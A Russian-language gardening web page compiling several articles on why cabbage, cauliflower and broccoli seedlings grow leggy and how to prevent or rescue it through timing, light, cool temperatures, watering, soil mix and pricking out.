7 просмотров
Рейтинг статьи
1 звезда 2 звезды 3 звезды 4 звезды 5 звезд
Загрузка...

Рассада капусты вытянулась как спасти

Что делать если рассада капусты вытянулась и как ее спасти

Капуста (брокколи и цветная) – одна из самых любимых овощных культур огородников. На любом дачном участке непременно можно встретить грядку хорошей, добротной капусты. Выращивать ее в открытом грунте нужно только из рассады, а вот саму рассаду вырастить – дело довольно сложное. Рассада весьма нежна и капризна, чутко реагирует на условия выращивания и может сильно перерасти. Чуть что не так – начинает вытягиваться, ростки становятся очень тонкими, непригодными для высаживания в грунт. Что же делать, чтобы спасти вытянувшуюся рассаду? И почему так происходит?

Самые распространенные причины, почему капуста может перерасти

Выращивать капусту в открытом грунте при помощи рассады – самый оптимальный вариант, позволяющий получить урожай как можно раньше и с наименьшими затратами. Больше того, без рассады вырастить овощ непосредственно высевая семена в почву, практически нереально. Даже для того, чтобы заранее получить хорошую, крепкую рассаду для посадки, нужно потрудиться и соблюдать основные правила агротехники. Если не знать некоторых нюансов, капуста быстро станет тонкой, блеклой, вытянется вверх и не завяжет головок.

Вытянувшаяся рассада капусты

Самыми главными причинами неправильного роста являются:

  • несоблюдение сроков посева семян и высадки в грунт;
  • нехватка солнечного света и отсутствие дополнительного освещения;
  • несоблюдение температурного режима во время выращивания;
  • недостаток питательных веществ в почве.

Сроки посева

Очень важно рассаду не передержать, вовремя высадить в открытый грунт. Это зависит от климатических и погодных условий каждого отдельного региона, а также сорта капуста (ранне-, среднеспелый или поздний), приблизительные сроки колеблются от конца апреля до конца мая.

Определившись с точной датой посадки, можно рассчитать время посева семян, учитывая, что от этого момента до всхода посевов проходит 10 дней (плюс-минус пару дней). Для развития до высадки в почву должно пройти еще около 50-55 дней. Таким образом, сеять семена нужно за 60-65 дней до предполагаемой высадки растений в грунт.

Освещение

Капуста – не только очень светолюбивое растение, но даже требует много света. При коротком световом дне или недостаточной освещенности помещения, ростки начинают тянуться к свету, становятся тоненькими, бледными, хилыми и слабыми.

Вытянувшаяся рассада капусты в домашних условиях

Длинный световой день способствует быстрому росту и формированию головок (кочанов). Нормальная продолжительность светового дня составляет от 12 до 14 часов. Понятно, что если первые всходы появились в начале марта, естественной освещенности будет не достаточно. Поэтому в утренние и вечерние часы рекомендуется дополнительная подсветка в течение 2-2,5 часов.

Температурный режим

В отличие от света, тепло капуста не любит, а жару вообще не переносит. Капуста при высоких температурах в помещении, где она растет, начинает вытягиваться и погибает.

После высева семян емкости накрывают пленкой и держат при температуре 18-20 градусов. Как только появляются первые всходы, емкости с растением переносят в помещение с температурой не выше 8-10 градусов и держат в таких условиях до появления настоящего первого листа. Затем их можно снова возвратить в более теплые условия, поставить на окно, соблюдать температурный режим – днем +15-18, ночью – +6-8 градусов.

Питание и подкормки

Капуста на протяжении всего периода созревания очень требовательна и чувствительна к подкормкам. В первую очередь необходимо правильно составить почвенную смесь для посева семян:

  • дерновая земля – 50%, можно купить землю в магазине или даже взять из огорода, но не из-под крестоцветных культур (капуста, редис); так как эти растения подвержены всякого рода заболеваниям, почва также может быть заражена; для верности ее лучше прокалить в духовке и остудить;
  • 50% перегноя;
  • на ведро такой смеси добавить 100г песка (хорошо промытого), 1 столовую ложку древесной золы (в качестве антисептика), суперфосфата, сухого куриного помета.

Посадка саженца капусты

Уже в период появления первых 2-3 листочков, рассаду снова необходимо подкормить. По одному стакану куриного помета и золы разводят в 10 литрах воды и поливают ростки, но избытка влаги допускать нельзя. Следующая подкормка – во время пикировки, т.е. пересадка в отдельные горшочки (стаканчики).

В это же время производят пинцировку саженцев – стержневой корень укорачивают на 1/3. Это затормаживает развитие растений, все силы тратятся на восстановление корневой системы, а стебель утолщается, становится более массивным.

Соблюдение всех этих правил служит отличной профилактикой вытягивания сеянцев.

Уход за саженцами капусты

Что делать и как спасти вытянувшуюся и переросшую рассаду?

Если все же вы не уследили, и рассада заметно вытянулась, ее нужно срочно пересадить в отдельные в отдельные емкости или (если позволяют сроки) в открытый грунт, как можно глубже опустив в землю (до первых листиков). Снизить температуру до 4градусов. При этом можно произвести пинцировку, укоротив корень почти наполовину, ограничить полив. Ростки перенесут шок и надолго притормозят в росте. Приблизительно через три недели корневая система восстановится, ростки начнут снова расти и нужно будет внести удобрения в небольшом количестве.

Хорошее освещение, низкие температуры, ограниченный полив и периодическое внесение удобрений помогут капусте восстановиться.

Как утверждают эксперты-специалисты, капустная рассада – самая требовательная к правильному уходу, и вырастить ее довольно трудно. Но ориентируясь на основные правила, вполне возможно получить и хороший посадочный материал, и отменный урожай. На вашем столе круглый год будут блюда из вкусной и полезной капусты.

Почему вытянулась рассада капусты

Капуста – популярнейшая огородная культура, один из самых распространенных овощей на нашем столе. Брюссельская, брокколи и цветная полюбились многим садоводам за универсальность в использовании и прекрасные вкусовые качества.

Почему вытянулась рассада капусты

Причины перерастания капусты

В благоприятных условиях взращивания растение развивается естественным ходом, но при малейшем стрессе быстро истончается, блекнет, вытягивается и перестает формировать плоды.

Причинами неправильного развития и роста чаще всего становятся:

  • несвоевременность посева семян и высаживания в грунт;
  • недостаток освещения (естественного и добавочного);
  • нарушение режима температур в период взращивания;
  • пересыхание либо переувлажнение грунта;
  • нехватка питательных элементов в грунте.

Сроки посева

Крайне важно посадить рассаду в открытый грунт своевременно, не передержав ее. Конкретная дата посадки зависит от сорта (ранняя, среднеспелая или поздняя) и погодных условий.

Семена раннеспелой культуры высеиваются на рассаду с начала марта до последней декады апреля, среднеспелой – с конца марта по конец апреля, а поздней – в первую и вторую декады апреля. Посевы всходят через 7-10 дней, а через полтора месяца после всхода растение уже будет готово к высадке.

Если рассада не будет посажена через 60-65 дней после посева семян, она начнет вытягиваться и ухудшать свои качественные характеристики.

Освещение

Для получения хорошего урожая мало своевременной высадки, растение нуждается также в большом количестве света. В условиях короткого светового дня (менее 14-15 часов) ростки вытягиваются, теряя толщину, цвет и упругость.

В условиях дефицита естественной освещенности рекомендуется делать добавочную подсветку утром и вечером. Освещение осуществляется люминесцентными либо светодиодными лампами и длится около двух часов.

Недостаток освещения может сказываться и тогда, когда растения была высажены чересчур густо, соприкасаясь друг с другом. Подросшие саженцы необходимо обязательно рассаживать.

Температурный режим

Переизбыток тепла вредит растению и может привести к вытягиванию и гибели. А вот кратковременное снижение температуры способствует закалке саженцев белокочанной капусты. Амплитуда оптимальной температуры для нее составляет:

  • 18-20° до появления всходов;
  • 15-17° после появления ростков (днем);
  • 8-10° после появления ростков (ночью).

Следует иметь в виду, что саженцы цветной капусты плохо переносят температурное понижение, комфортная для них температура на 5-7° выше, чем у белокочанной.

Нужно соблюдать температурный режим

Брокколи более толерантна к климатическим условиям, чем белокочанная, и способна расти даже при небольшой минусовой температуре. Но наиболее комфортной для нее будет амплитуда в 16-20°.

Эта же температура станет комфортной и для брюссельской, самого неприхотливого и морозостойкого подвида (способна выдерживать до -10°).

Режим своевременного полива

Важным правилом правильного полива культуры является его своевременность. Как перелив, так и недолив негативно влияют на растение и приводят к его вытягиванию. При недоливе иссякают запасы влаги в почве, а при переизбытке влаги в земле остается мало воздуха и формируется идеальная среда для жизнедеятельности грибков и бактерий.

Необходимый объем воды зависит от этапа развития культуры:

  1. При прорастании семенам потребуется больше половины от своего веса.
  2. Во время формирования первых листов потребность в воде уменьшается, переизбыток может задержать рост и развитие особи, и даже привести к гибели.
  3. В период образования кочана растение опять нуждается в максимальном увлажнении.
  4. В последний месяц до уборки поливы прекращаются, т.к. они могут привести к дефектам кочанов.

Для полива следует выбирать отстоянную воду комнатной температуры с добавлением специальных смягчителей.

Питание и подкормки

Так же как и с поливом, здесь очень важны мера и своевременность. В рассадный период культура очень требовательна к удобрениям, но после прорастания семян подкормка спровоцирует вытягивание растения.

Для нормального хода роста и развития следует придерживаться такого плана внесения удобрений:

  1. Через 5-7 дней после пикировки (пересадки в индивидуальные емкости).
  2. Через 2 недели после первой подкормки.
  3. За пару дней до высаживания в грунт.

Чаще всего для подкормки используется комбинация органических удобрений с искусственными добавками, что позволяет добиться хорошей урожайности и снизить риски распространения грибковых заболеваний.

Методы борьбы с вытягиванием

Если рассада капусты сильно вытянулась, то для начала факторы, способствующие вытягиванию, нужно ликвидировать:

  • создать максимально благоприятные условия для взращивания (оптимальный уровень освещенности, температурного режима и увлажнения почвы), если перерастание было спровоцировано неблагоприятными условиями среды;
  • рассадить всходы, если они развиваются неравномерно (при этом затеняя и вытесняя друг друга);
  • если перерастание произошло из-за переизбытка удобрений, необходимо срочно перестать подкармливать грунт, понизить температуру на пару градусов и несколько дней не увлажнять ростки.

Чтобы остановить нарушение развития растений в дальнейшем, можно применить одну из этих тактик:

  1. Метод обрезки. Необходимо углубить положение стебля в грунте по уровень зародышевых листьев и осторожно обстричь верхнюю часть кустов до пятого листа. Метод используется, когда рассада уже сильно вытянутая.
  2. Метод петли. Садоводы рекомендуют сделать в грунте возле растения небольшую ямку и аккуратно вложить в нее часть ветви в виде петли, присыпав землей. Почву после этого необходимо осторожно утрамбовать и полить.

Существуют и химические средства, замедляющие и останавливающие процесс перерастания. Препаратом опрыскивают растение или вливают под его корень. Их можно использовать и когда уже рассада капусты вытянулась, и для профилактики вытягивания. Делать все манипуляции нужно в перчатках и защитной маске.

Профилактика перерастания

Для предотвращения вытягивания ростков нужно тщательно соблюдать условия комфортного роста и развития растения:

  • соблюдение сроков посева;
  • достаточное солнечное или искусственное освещение;
  • оптимальная плотность высадки саженцев, при которой каждый из них получает все необходимое и не мешает другим;
  • соблюдение амплитуды температурного режима;
  • своевременный полив;
  • внесение удобрений в зависимости от стадии развития растения.

Недостаток питательных элементов или света – и рассада капусты вытянулась, становясь малопригодной для высадки в грунт.

Что делать, если вытянулась рассада капусты?

Высеяв семена капусты на рассаду, и увидев дружно появившиеся всходы, многие начинающие огородники уже потирают руки в предвкушении хорошего урожая из собственной рассады. Но зачастую их мечтания так и остаются мечтаниями, а взошедшая рассада капусты вытягивается и большей частью погибает, а с тех растений, которые все же выживут, хорошего урожая уже ждать не приходится.

Естественной реакцией на происшедшее встают два вопроса: «почему это произошло?», и «что делать, если рассада капусты вытянулась?». И только правильно ответив на них, можно надеяться, что ситуация в будущем году не повториться.

Причины вытягивания рассады

Что бы мы не говорили, но основной причиной вытягивания и даже гибели рассады капусты остается человеческий фактор, а именно непонимание биологических основ ее роста и развития и отсутствие опыта выращивания.

Рассада капусты может вытянуться по нескольким причинам:

  • избыток тепла;
  • нехватка света;
  • густой посев;
  • нехватка питательных веществ в почве.

Самая распространенная ошибка, которую совершают почти все делающие первые шаги в выращивании рассады капусты — создают ей тепличные условия выращивания. И при этом совершенно упускают из виду, что капуста — холодостойкая культура, и поэтому она гораздо легче переносит холод, чем жару.

Температура сильно влияет на скорость прорастания капустных семян. При комнатной температуре они прорастают на 3-5 день. При понижении температуры до 10-12°С прорастание семян заметно замедляется, и будет длиться 1,5-2 недели. При температуре вблизи нулевой отметки прорастание семян задержится до месяца, но, тем не менее, они прорастают.

Но зато проросшая в экстремально холодных условиях рассада без особых проблем перенесет заморозки в 4-5°, тогда как проросшая в комфортных тепличных условиях — с большой вероятностью погибнет.

С другой стороны, вне зависимости от условий выращивания, уже при температуре в 25° рост и развитие капусты сильно замедляется. При температуре в 35° капуста попросту «отказывается» формировать головы.

При комнатной температуре капуста быстро растет вверх, но корневая система почти не растет. Из-за этого капуста сильно вытягивается и зачастую гибнет.

Вторая биологическая особенность капусты — она очень требовательна к освещению. Капуста относится к растениям «длинного дня», т.е. она хорошо развивается только при длине светового дня 12-15 часов. Если естественный световой день короче, а хозяева не позаботились о его продлении с помощью досветки, растения продолжают тянуться вверх, но не развиваются в ширину.

Следующая причина, по которой рассада капусты может вытянуться — нехватка питательных веществ. Капуста быстро выбирает из почвы питательные вещества, и если их вовремя не восполнить, то быстро вытягивается. По той же причине она вытягивается при загущенных посевах.

Подготовка почвы для посадки

Очень важный момент и первый этап, на котором большинство начинающих огородников совершают ошибку. Для выращивания рассады капусты не стоит брать землю из своего огорода. Дело в том, что в ней могут быть возбудители болезней и вредители капусты, и любые профилактические меры по ее обеззараживанию не дадут 100% гарантии избавления от них.

При небольшом количестве рассады лучше приобрести в садово-огородническом магазине специальную почвосмесь для выращивания рассады капусты. Если же вы, как и я, больше доверяете своим рукам, чем покупным смесям, то для приготовления собственной питательной почвосмеси вам понадобятся дерновая земля и перегной или хорошо перепревший компост.

Землю лучше всего привезти из лиственного леса. З-4 ведра достаточно даже для небольшого парничка, не то что для ящиков на подоконнике. Землю смешивают в равных пропорциях с перегноем (или компостом), добавляя в нее древесную золу из расчета 2 стакана на ведро смеси и суперфосфат из расчета 2 столовые ложки на ведро смеси.

Для первой половины роста рассады капусты полезных веществ в такой смеси вполне достаточно, а дальше ее все равно нужно подкармливать, даже если вы выращиваете ее на покупной почвосмеси.

Подготовка семян

Из всего комплекса предпосевной подготовки семян я провожу только их калибровку и обеззараживание. Зачем проводить проращивание семян, если при комнатной температуре через 3-4 дня они и так прорастают?

То же самое и с закалкой: капуста и без нее спокойно себя чувствует при невысоких температурах, спокойно перенося даже кратковременные заморозки в 2-3° ниже нуля. Нет нужды и в обработке семян стимуляторами роста — при выращивании рассады в закрытом грунте ее рост приходится сдерживать, а не стимулировать.

Для калибровки я использую 3% раствор обычной кухонной соли. Опущенные в него семена быстро разделяются: большинство опускается на дно, но есть и такие, что остаются плавать сверху. Их я сливаю вместе с раствором, а осевшие семена 2-3 раза промываю под проточной водой, чтобы смыть остатки соли, подсушиваю и обеззараживаю, чтобы предотвратить заболевание рассады.

Обеззараживание провожу старым проверенным способом — замачиваю в крепком растворе марганцовки, а затем промываю их и просушиваю. Хотя сейчас появились новые, современные препараты: фитоспорин, Байкал и др., но у меня еще от бабушки остался запас марганца — зачем же пропадать добру?

К слову, не все купленные семена капусты (да и других овощей тоже) нужно обрабатывать. Некоторые из них уже прошли все этапы предпосевной обработки еще у производителя, и ваше вмешательство скорее навредит им, чем поможет.

Температурный режим

Выращивание здоровой рассады капусты требует постоянного контроля температуры. Для прорастания семян оптимальной будет комнатная температура в 18-20°. Спустя день после появления всходов рассаду нужно переместить в более суровые условия, с температурой в 7-8°. Исключение составляет лишь более теплолюбивая рассада цветной капусты, для которой оптимальной будет температура в 12-14°.

Выдержав рассаду капусты 7-8 дней в таком «собачьем» холоде, ее затем неделю нужно «отогреть» при температуре в 12-14°. К концу второй недели на рассаде появляются 2-4 настоящих листочка, и в этот период рассаду пикируют в отдельные емкости.

После пикировки рассаду 2-4 дня балуют температурой в 17-18°, а затем отправляют в такое место, где дневная температура поддерживается на уровне 13-14° днем и 10-12° ночью. В этих условиях температура должна находиться до момента высадки.

В условиях городской квартиры выдержать оптимальный температурный ряд для рассады капусты почти нереально, но стремиться к этому все равно нужно. Любыми способами: выставлять на балкон, размещать поближе к открытой форточке и т.д. Если пренебречь температурным режимом выращивания, рассада капусты неизбежно вытянется, и все ваши труды пойдут насмарку.

Пикировка капусты

Спустя 2 недели после появления всходов выполняют пикировку рассады. Каждое растение аккуратно вынимают из общего контейнера и пересаживают в отдельные емкости диаметром 5-6 см. Для пикировки используют ту же почвосмесь, что и при посеве семян. При пикировке растение обязательно нужно углублять в грунт до уровня первых семядолей — это способствует лучшему росту корневой массы рассады.

Если к моменту пикировки рассада уже вытянулась, одновременно с пикировкой проводят и пинцировку растений. Звучит угрожающе, но на самом деле у растений просто подрезают центральный корень. Делается это просто: корень по всей длине визуально делится на 3 части, а затем нижняя треть корня удаляется.

Пинцировка не только позволит задержать перерастание рассады, но и заставляет растение компенсировать недостающую часть центрального корня нарастанием боковых корней, делая корневую систему мощной и разветвленной.

Случается, что спустя неделю полторы после проведенной пикировки рассада капусты снова начинает сильно идти в рост. В этом случае не остается другого выхода, как провести повторную пикировку. Выполняется она по той же схеме, что и первая. Даже больше — растения в соседних емкостях можно просто поменять местами, даже не меняя в них почвы, и этого будет достаточно, чтобы притормозить вытягивание рассады.

Освещение и полив

При ранних строках высева семян капусты (конец февраля — начало марта), проросшей рассаде зачастую не хватает длительности светового дня. Капуста не может набрать света «про запас» — как бы ярко не светило солнышко, но если дневной свет падает на рассаду менее 12 часов, она нуждается в дополнительном освещении.

Организовать его не так уж и сложно, достаточно просто подвесить над рассадой электрические лампы дневного света, и вы предохраните рассаду от вытягивания, а себя — от лишних хлопот.

Многие овощеводы полагают, что рассада капусты лучше будет расти во влажной почве, и изо всех сил стараются напоить ее. Но это заблуждение — хотя капуста и не любит сухую почву, переувлажненную она переносит еще хуже. Поэтому поливать ее нужно регулярно, но в меру, проводя полив только тогда, когда верхний слой почвы хорошо подсох.

Как спасти вытянувшуюся рассаду?

Поправить ситуацию с вытянувшейся рассадой капусты удается далеко не всегда. Сравнительно легко затормозить ее рост, когда причиной вытягивания стали нехватка питательных веществ или же чрезмерная густота растений.

В такой ситуации рассада вытягивается, уже имея 2-4 настоящих листочка. В этих случаях спасти положение поможет пикировка, причем пикировать придется не выборочно, а всю рассаду.

Пикировка позволит решить сразу две задачи:

  • обеспечить рассаду достаточным количеством органики и минеральных удобрений;
  • задержать рост наземной части рассады и стимулировать рост корневой системы.

Из собственного опыта могу сказать, что часть рассады неизбежно погибнет при пикировке. В зависимости от возраста рассады и навыков пикировщика количество погибшей рассады может составлять от 5 до 20%, но зато остальную часть вы спасете.

Спустя 7-8 дней после пикировке пересаженной рассаде нужно обеспечить подходящий температурный режим. Если же такой возможности нет, то спустя 1,5-2 недели придется провести еще одну пикировку, чтобы предотвратить ее дальнейшее вытягивание, но это уже частности.

Если причиной вытягивания рассады стал недостаток света, то ситуацию можно поправить, организовав ей досветку люминесцентными лампами дневного света.

Самое сложное и хлопотливое дело — спасать рассаду капусты, вытянувшуюся сражу же после прорастания, когда у нее только начинают формироваться настоящие листочки. В этом случае тоже рассаде нужна поголовная пикировка, причем приходится здорово повозиться, рассаживая тонкие ниточки стебельков. Да и, при всем старании и умении, выживет в лучшем случае половина пересаженной рассады.

В этом случае, учитывая скорость прорастания семян и роста рассады, лучше не тратить время и силы, а попросту ее пересеять. Наученный собственным горьким опытом, с полным основанием могу утверждать, что вновь посеянная рассада не только догонит в развитии пикированную, но и сможет перегнать ее. При условии, конечно, что вы учтете свои ошибки, и второй раз их не допустите.

Капуста — растение уникальное. Она одновременно и очень неприхотливая, и очень требовательная дама. И угодить ей далеко не всем удается.

Но не отчаивайтесь, даже если у вас ничего не вышло с рассадой. Есть еще один способ не остаться без собственной рассады — посеять семена прямо в открытый грунт. И хотя от выращивания ранних сортов вам при этом способе придется отказаться, но среднюю и позднюю капусту вырастить из собственной рассады вы сможете. А это уже немало.

Вытянулась рассада капусты: что делать

Капуста наряду с картошкой является одним из самых распространенных овощей на столе. Вот почему любой человек, впервые получивший землю, сразу же задумывается о ее выращивании на собственном огороде. И начинает растить рассаду. Поскольку, основные виды и сорта капусты в условиях средней полосы вырастить без рассады практически нереально. Растения обычно довольно быстро и дружно всходят, а дальше с большой долей вероятности разворачивается один из трех сценариев: или растения вытягиваются в ниточку и погибают в течение первых двух недель, или растут хилыми, вытянувшимися, и до высадки в грунт остается в лучшем случае несколько кустиков, которые не приносят никакого урожая. Наконец, в третьем варианте, кое-кто из вытянувшихся растений кое-как доживает до высадки в грунт, но наполовину умирает после высадки, а из остальных вырастает несколько хилых кочанчиков, которые никак не могут сравниться с рыночными или хотя бы магазинными.

На следующий год ситуация рискует повториться, хотя наученный горьким опытом огородник, у всех подряд будет просить помощи с таким описанием проблемы: «Рассада капусты вытянулась, что делать в такой ситуации, как ее спасти?»

Затем, наверное, будет стараться создавать рассаде разнообразные специальные условия, то есть подкармливать, обрабатывать ингибитором роста «Атлет» и использовать прочие премудрости. Но если рассада капусты вытянулась, то сделать что-то часто бывает очень сложно или практически невозможно. Конечно, многое зависит от того, насколько сильно ей удалось вытянуться и в какой именно период развития. Обо всех тонкостях выращивания рассады капусты будет рассказано далее в этой статье.

Особенности капустной физиологии

Капуста – особенно кочанные разновидности – весьма холодостойкое растение. Хотя родом она из южных стран Западной Европы и Северной Африки, но после многочисленных скрещиваний, в генах у нее стойко отложилась холодоустойчивость. Поэтому и страдать она будет, скорее от высоких, чем от низких температур.

  • Интересно, что при обычной комнатной температуре +18°С-+20°С, семена капусты прорастают достаточно быстро и дружно, уже через 3-5 дня могут появиться первые всходы. Если температура окружающего воздуха в среднем около +10°С, то прорастание уже резко замедлится и может составить от 10 до 15 дней.
  • Если температура во время прорастания опускается до нуля и даже ниже (но не ниже -3°С), то семена кочанной капусты все равно прорастут, но будут это делать очень долго – около двух-трех недель, а, может быть, и месяц.
  • Зато затем в стадии рассады капуста может уже без особых проблем переносить кратковременные заморозки до -5°С. Взрослые растения капусты (некоторые разновидности: белокочанная, краснокочанная, брюссельская, брокколи) способны выдержать заморозки до -8°С. При потеплении они восстанавливаются и развитие продолжается.
  • Зато при температурах выше +25°С большинство видов капуст чувствует себя уже угнетенно. Если же устанавливается жаркая погода, более +35°С, то у белокочанной капусты просто не образовывается кочан.
  • Все хорошо знают о том, что капусте для хорошего роста нужно очень много воды. Но не всем известно, что потребность во влаге у нее совсем не одинакова в разные периоды развития. Для прорастания семенам капусты необходимо более 50% воды от своего веса. Но затем в период образования первых нескольких листьев потребность во влаге снижается и переувлажнение может, мало того, что задержать рост и развитие рассады, но и привести к ее гибели. Когда капуста начинает образовывать кочан, то ей опять требуется максимальное количество воды. И, наконец, в последний месяц перед уборкой поливы нужно обязательно убрать, поскольку большое количество влаги в этот период приведет к растрескиваниям кочанов и плохой их сохранности.
  • Важно также помнить, что капуста очень светолюбивое, и даже светотребовательное растение. Длинный световой день способен ускорить рост рассады или формирования кочанов, а при недостатке освещенности всходы будут вытягиваться и ослабевать.
  • Наконец, необходимо учитывать, что все виды капусты очень требовательны к подкормкам. Им необходим полный набор всех питательных веществ и микроэлементов, причем в легко доступной форме.

Особенности выращивания рассады капусты

В чем же секрет выращивания хорошей капустной рассады? Опытные огородники знают, что это далеко не самое простое дело. Пожалуй, среди всех овощей, именно выращивание рассады капусты можно назвать самым сложным, несмотря на общую неприхотливость культуры. А основная проблема состоит именно в холодостойкости капусты. Ведь обычно рассаду капусты выращивают в домашних условиях, в квартирах, где температура редко опускается ниже +18°С+20°С, а чаще всего бывает гораздо теплее +25°С и даже более. И если в квартире нет лоджии или балкона, то рассада обязательно вытягивается, и сделать что-либо в таких условиях становится просто невозможным. Разве что воспользоваться холодильником, что, кстати, некоторые успешно и делают. Но это возможно при очень небольших количествах капустной рассады и на первых этапах ее развития. Ведь капусте кроме холода, также жизненно необходим свет.

Итак, какие условия являются необходимыми для успешного выращивания рассады капусты.

Подготовка семян и почвы к посеву

Что касается семян капусты, то если они были куплены в магазине, то, как правило, готовить их специально к посеву, необходимости нет.

Свои же собственные семена лучше продержать несколько часов до набухания в растворе Фитоспорина или Байкала. Это обеззаразит их от различных грибковых инфекций и усилит иммунитет. Многие дополнительно закаляют семена, но применительно к капусте в этой операции немного смысла, поскольку она и так достаточно хорошо выдерживает пониженные температуры.

А вот приготовление правильной почвенной смеси для посева капусты – дело очень важное и ответственное. Поскольку эта культура, мало того что любит рыхлый и одновременно плодородный грунт, но и еще очень подвержена многочисленным заболеваниям. Особенно легко она поражается ими на стадии рассады. Именно по этой причине категорически недопустимо использовать для выращивания рассады капусты огородный грунт. Ведь он может быть заражен разными инфекциями и мог быть взят с грядки, где росли растения семейства крестоцветных (редька, редис, брюква). Капусту нежелательно выращивать на одном месте несколько лет подряд именно из-за накопления в почве вредных корневых выделений, тем более, не стоит растить в такой земле капустную рассаду.

Лучшим для капусты сочетанием будет следующее: взять 50% дерновой земли или хорошей земли из магазина и добавить еще столько же перегноя. Хорошенько перемешав эту смесь, для рыхлости добавляется на каждые 10 кг грунта 100 г вермикулита или перлита и 1 столовая ложка древесной золы. Если вы хоть немного сомневаетесь в качестве грунта, лучше будет землю перед использованием основательно прогреть в духовке. Этим вы избавитесь от всех вредных микробов. А затем, чтобы заселить ее полезными микроорганизмами, без которых трудно себе представить хороший рост и развитие, землю нужно пролить раствором фитоспорина или сияния-1.

Посев семян и первые недели роста рассады

Здесь будет рассматриваться только посев на рассаду с обязательной пикировкой, поскольку это самый оптимальный способ выращивания рассады капусты. Саму процедуру пикировки рассада переносит достаточно хорошо.

После того как земля для посева приготовлена, ее насыпают в специальные ящики, разравнивают и делают небольшие бороздки глубиной в 0,5 см. Бороздки могут отстоять друг от друга на расстоянии 3-х см. Семена помещаются в бороздки через каждый сантиметр, потом аккуратно засыпаются той же землей. Ящик можно накрыть пленкой для улучшения прорастаемости, а можно оставить так. Ящик с посеянными семенами капусты оставляется при температуре +18°С+20°С.

При этих условиях всходы обычно появляются на 4-5 день после посева.

Если этого по тем или иным причинам не сделать, то рассады капусты обязательно вытянется, причем очень быстро и в дальнейшем ничего хорошего от нее ждать не придется.

Если в вашем распоряжении есть хоть какой-то балкон, нужно вынести рассаду капусты туда. Если он не застекленный, а на улице еще стоит отрицательная температура, то можно накрыть ящик с рассадой импровизированной тепличкой. Лучшим вариантом для рассады капусты будет перемещение ее сразу после прорастания в теплицу или в парник, если есть такая возможность.

При такой пониженной температуре рассаду капусты необходимо держать около 10-12 дней. После этого ей необходима пикировка. Перед пикировкой рассаду стоит еще раз пролить раствором фитоспорина. Пересаживать можно в ту же самую землю, в которую производился посев.

Для пересадки готовятся емкости или стаканчики размером примерно 6 на 6 см. При пикировании каждый сеянец заглубляется в землю по уровень семядольных листочков. Желательно, лишь чтобы у растений к этому времени начал образовываться первый настоящий лист.

После пикировки рассаду для лучшей приживаемости можно подержать при температуре +17°С+18°С, но спустя 2-3 дня необходимо опять снизить температуру, но уже до +13°+14°С в дневное время и до +10°+12°С – ночью.

Эти температурные условия будут идеальными для роста и развития рассады капусты до ее высадки в грунт.

Кроме температуры, для хорошего развития рассады необходим свет, причем важны не только яркость и интенсивность освещения, но и его продолжительность. Рассаде белокочанной капусты необходим с самого начала развития световой день продолжительностью не менее 12 часов. Но не всем видам капусты нужен такой длины световой день. Например, цветная капуста лучше растет и завязывает более плотные головки, если на стадии рассады ей устроить укороченный световой день. А вот брокколи, которая является разновидностью цветной капусты, в таких ухищрениях не нуждается. Она тоже любит скорее длинный световой день.

Как помочь в ситуации, когда рассада вытянулась

Конечно, если рассада капуста уже вытянулась, то на вопрос, как ее спасти, нет однозначного ответа. Как уже было сказано выше, если вы проживаете в квартире без возможности организовать рассаде, по крайней мере, прохладные условия, то сделать что-либо, вряд ли возможно. Можно попробовать приехать на земельный участок пораньше и посеять семена капусты непосредственно в грунт. При хороших погодных условиях это вполне можно сделать уже в конце апреля. Средняя и поздняя кочанные капусты, а также все другие разновидности, успеют вызреть и дать приличный урожай. Ну а от ранних сортов придется отказаться.

Если вы проживаете в частном доме и есть возможность соорудить хоть небольшой парник для капусты своими силами, то это будет лучшим вариантом. Для всех остальных, обладающих балконом, можно попробовать сделать следующее.

Если рассада вытянулась уже на самом раннем этапе, это, пожалуй, самое сложное. Можно попробовать всех вытянувшихся представителей капустного семейства осторожно распикировать по отдельным емкостям. Необходимо только учитывать то, о чем говорилось ранее.

  • Если у рассады есть хоть один настоящий лист, ее можно заглубить по самые семядольные листики.
  • Если у рассады капусты присутствуют только семядольные листики, то ее нужно пересадить без углубления, но насыпав в горшочек немного грунта. В этом случае, при дальнейшем росте капусты, землю в горшочек можно просто досыпать.

Через несколько дней после пикировки рассаду капусты все равно нужно поместить на балкон в прохладные условия. Но даже при этих условиях, выживет, скорее всего, лишь половина сеянцев.

Если рассада содержалась в относительно прохладных условиях и вытягивалась она, например, от недостатка света, то поправить ситуацию можно, организовав растениям дополнительную подсветку.

Итак, спасти вытянувшуюся рассаду капусты очень сложно, поэтому, лучше с самого начала организовать ей условия, в которых ей будет максимально комфортно. Она же отблагодарит за заботы великолепными, сочными и вкусными кочанами.

Рассада капусты вытянулась, что делать

Капуста – очень популярный и вкусный овощ. Выращивается во всех регионах страны Россия. Она выделяется своими лечебными и диетическими особенностями. В наших климатических зонах выращивают такие разновидности этой культуры, как кочанная (белокочанная и краснокочанная), цветная, брюссельская, брокколи, кольраби. Российские фермеры и садоводы-любители в основном выращивают белокочанную капусту. Она подходит для употребления как в сыром виде (салаты), так и в маринованном, квашеном, тушеном. Используется для лечения многих заболеваний в рецептах народной медицины.

Выращивается рассадным методом, требует тщательного ухода. Посадить капусту несложно, но следует внимательно следить за ее ростом и развитием, чтобы рассада не вытянулась, хорошо прижилась в грунте, правильно завязалась в кочаны и не была загублена вредителями.

Причины вытягивания рассады капусты

Когда сеянцы пролезли, и рассада начала расти, часто бывает так, что она начинает вытягиваться. У многих неопытных овощеводов сразу возникает вопрос: «рассада капусты вытянулась что делать?» Для устранения этой проблемы нужно выявить причину и устранить ее или исправить.

В основном, всход начинает вытягиваться, если ему недостаточно света, тепла, влаги, питания. Чаще всего это происходит потому, что семена на рассаду были посажены слишком рано, и когда взошли, температурные и световые факторы оказались ниже требуемой нормы для хорошего развития растения.

Перерасти может та рассада, которую поздно пикируют. Поэтому ее обязательно нужно пикировать и пинцировать. Пикируются кустики через две недели после прорастания. Пинцировка проводится в момент пикирования – перед помещением в землю корень обрезается на третью часть и опускается до семядольных листьев. Делается это для того, чтобы предотвратить чрезмерный рост вверх. Корни испытывают шок и замедляют рост.

Рассада капусты вытянулась

После пикировки растениям требуется дать больше свежего воздуха и немного прохлады. Для этого через несколько дней после рассадки коробки выносят днем на балкон, или в комнате открываются окна.

Если рассада капусты вытянулась, ничего не остается, как спасти ее. Не нужно сразу ее вырывать и выбрасывать. Достаточно просто подкормить минеральными удобрениями, поставить в более освещенное дневным солнечным светом место и оформить дополнительное освещение лампами в ночное время.

